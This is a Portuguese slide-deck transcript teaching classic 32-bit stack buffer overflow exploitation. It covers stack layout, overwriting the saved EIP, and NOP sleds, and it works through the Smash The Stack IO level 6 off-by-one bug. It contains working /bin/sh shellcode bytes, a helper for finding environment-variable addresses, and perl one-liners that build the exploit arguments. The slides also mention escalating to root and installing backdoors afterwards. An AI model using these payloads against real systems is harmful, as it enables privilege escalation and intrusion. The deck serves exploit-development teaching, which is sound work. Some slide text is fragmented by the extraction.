how stuff works
TRANSCRIPT
Exploits
QUEM SOU EU?????
BINÁRIOS ELF
• ELF == Executable and Linkable Format
• Diferentes segmentos, .text, .data, .bss e assim por diante
• Layout do binário na memória
OS SEGMENTOS
• .text (código)
• .data
• .bss
• Heap
• Stack
Stack
Nada (vazio)
.bss
.data
Heap
.text (código) Base da Memória
0x00000000
Topo da Memória
0xFFFFFFFF
A STACK
• Stack é utilizada para chamada de funções.
• Há 2 registradores na CPU associados à Stack, o EBP (Extended Base Pointer) e o
ESP (Extended Stack Pointer)
• ESP aponta para o topo da Stack, e o EBP aponta para o início do frame.
• Quando uma função é chamada, argumentos, EIP e EBP são inseridos na stack.
• EBP é “setado” para o ESP, e o ESP é diminuído para criar espaço para as variáveis
locais das funções.
A STACK
f
stack stack
0x08049800 0x08049800
0xbfffdd08 0xbfffdd08
func_1()
[char buf[128];] func_1()
[char buf[128];]
Memória livre
0x08049800
0xbfffdd08
func_2()
[int i = 0;]
[ float z = 99.9;]
Memória livre
0xbfff9000 0xbfff9000
0xbfff8000 0xbfff8000
EIP salvo
EIP salvo EBP salvo
EBP salvo
EBP
EBP
ESP
ESP
EIP salvo == end. ret
BUFFER OVERFLOWS
• Bug de
programação
• Dados ou
entradas não são
verificados
corretamente
• Exemplo:
char some_data[256];
memset(some_data,’A’,254);
memcpy(buf,some_data);
stack
0x08049800
0xbfffdd08
func_1()
[char buf[128];]
Memória livre
EIP salvo
EBP salvo
stack
0x08049800
0xbfffdd08
func_1() 0x00000000
0x41414141
0x41414141
Memória livre
[ [
stack
0x41414141
0x41414141
func_1() 0x41414141
0x41414141
0x41414141
Memória livre
[ [
EXPLOITING: O OBJETIVO
• Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
que o mesmo execute o que quisermos.
EXPLOITING: O OBJETIVO
• Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
que o mesmo execute o que quisermos.
MÉTODO 01: SMASHING THE STACK
EIP salvo
EBP salvo
stack
0x41414141
0x41414141
func_1() 0x41414141
0x41414141
0x41414141
Memória livre
[
[ Juntando tudo
• Combinamos o que sabemos sobre
stack e buffer overflows
• Podemos utilizar isso para
redirecionar o fluxo de execução
Usando entradas ou dados
que fornecemos, podemos
controlar o valor que será
escrito sobre o endereço
de retorno, ou valor do EIP
salvo.
BUFFER OVERFLOW: EXEMPLO 01
example_01.c: Saída do gdb:
18 A’s
24 A’s
26 A’s
BUFFER OVERFLOW: EXEMPLO 2
example_02.c: Saída do gdb:
SHOW ME THE MONEY!
EIP salvo
EBP salvo
stack
0x41414141
0x41414141
func_1() 0x41414141
0x41414141
0x41414141
Memória livre
[ [
Nós controlamos isso!
Mas agora que controlamos o endereço de
retorno, o que fazemos com isso?
Para onde queremos que o fluxo do programa
vá?
SHELLCODE
• Este é um código que gera uma shell.
• Pode ter diversas variantes.
• Alguns fazem bind em portas, outros
conectam em servidores específicos,
alguns geram um shell local, alguns são
bem pequenos, e outros são quebrados em
pedaços.
• Todos criados para suprir as necessidades
do criador para qualquer propósito que
possa querer, ou para evitar certas
restrições que limitam sua execução.
Exemplo de Shellcode:
“\x31\xc0\xb0\x46\x31\xdb\x31\xc
9\xcd\x80\xeb\x16\x5b\x31\xc0\x8
8\x43\x07\x89\x5b\x08\x89\x43\x
0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x
0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x
62\x69\x6e\x2f\x73\x68”
Gera um processo “/bin/sh”.
SHELLCODE
• Agora que sabemos que precisamos usar um shellcode, onde o colocamos?
• Há diversas opções, todas dependem de diversos fatores.
• Variáveis de ambiente
• Dentro do próprio buffer overflow
• Alguma outra parte da memória onde possamos escrever
• etc
EXEMPLO 01: EXPLOITED
Shellcode in Environment
Variable:
Getting address of
Environment Variable:
getenvaddr.c :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int arc, char *argv[]){
char *ptr;
if(argc < 3){
printf(“Usage : %s <env var> <program name>\n”,argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf(“%s will be at %p\n”,argv[1],ptr);
return 0;
}
SHELLCODE: ALIGN + NOP SLED
0xeb175b31 0xc0884307 0x895b0889 0x430c508d 0x53085253 0xb03b50cd
0xbfbfef7a 0x90909090 0x90909090 0xeb175b31 0xc0884307 0x895b0889 0x430c508d
EIP salvo
0xbfbfef6b
0xbfbfef6b
NOP Sled
EXEMPLO 01: NÓS TEMOS UMA SHELL
• Agora exploramos o programa
• Ganhamos acesso, e conseguimos pular de “tritured” para “root”
• A partir daqui, podemos fazer várias coisas, como instalar backdoors,
módulos do kernel, etc.
EXEMPLO 02: EXPLOITED
Pegue o endereço da variável de ambiente SHELLCODE:
Desta vez, não usaremos o NOP Sled, então precisamos ser bem precisos:
SMASH THE STACK IO NÍVEL 6: MUNDO REAL
• Como podemos ver, o programador
implementou algumas estruturas de
verificação para previnir buffer overflows
• Entretanto, ele introduziu um novo bug,
chamado de off-by-one error
• Ainda podemos sobrecarregar o buffer
• E ainda podemos sobreescrever o EIP
para apontar para nosso shellcode
level6.c :
#include <string.h>
// The devil is in the details - nnp
void copy_buffer(char *argv[])
{
char buf1[32], buf2[32], buf3[32];
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strcpy(buf1, buf3);
}
int main(int argc, char *argv[])
{
copy_buffer(argv);
return 0;
}
IO NÍVEL 6: CONTINUAÇÃO
Como as strings funcionam, e são delimitadas na memória:
0x09 Este é qualquer texto aleatório para ajudar a entender como as strings funcionam 0x00
buf3[32] buf2[32] buf1[32]
Algum texto aqui 0x00 Mais algum texto aqui 0x00 E alguma string aqui 0x00
0xbfbfeea0 0xbfbfeea1 0xbfbfede 0xbfbfedf
Layout do copy_buffer da stack do Nível 6:
NULL Byte
0xbfbfaa00 0xbfbfaa20 0xbfbfaa40
IO NÍVEL 6: CONTINUAÇÃO
• O problema está nestas 3 linhas:
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);
• A primeira copia até 31 bytes, deixando um espaço para o NULL byte no final.
• A segunda, entretanto, copia até 32 bytes, e portanto, pode não deixar espaço para um NULL pointer no final, é daí que surge o off-by-one error.
• A terceira linha então copia o buf3 dentro do buf1, e é aqui onde podemos sobrescrever o EIP salvo.
IO NÍVEL 6: CONTINUAÇÃO strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);
buf3[32] buf2[32] buf1[32]
Layout do copy_buffer da stack do Nível 6:
0xbfbfaa00 0xbfbfaa20 0xbfbfaa40
0x414141414141 0x00
0x42424242424242 0x42 0x414141414141 0x00
0x424242424242 0x4 0x414141414141 0x00 0x424242424242 0x42
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strcpy(buf1, buf3)
buf3 buf2 buf1
0x41414141
buf3
IO NÍVEL 6: CONTINUAÇÃO
IO NÍVEL 6: CONTINUAÇÃO
• Primeiro parâmetro (oque será escrito no buf2 e posteriormente no buf1):
• $perl -e ‘print “\x90”+4 + '\xbc\xf4\xff\xbf'“
• Segundo parâmetro (que será escrito no buf3):
• $perl -e ‘print “\x90”+7 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'“
IO NÍVEL 6: CONTINUAÇÃO
DÚVIDAS???
?
CONTATOS – LUIZ VIEIRA
Blog: http://hackproofing.blogspot.com
Empresa: http://www.oys.com.br
E-mail: [email protected]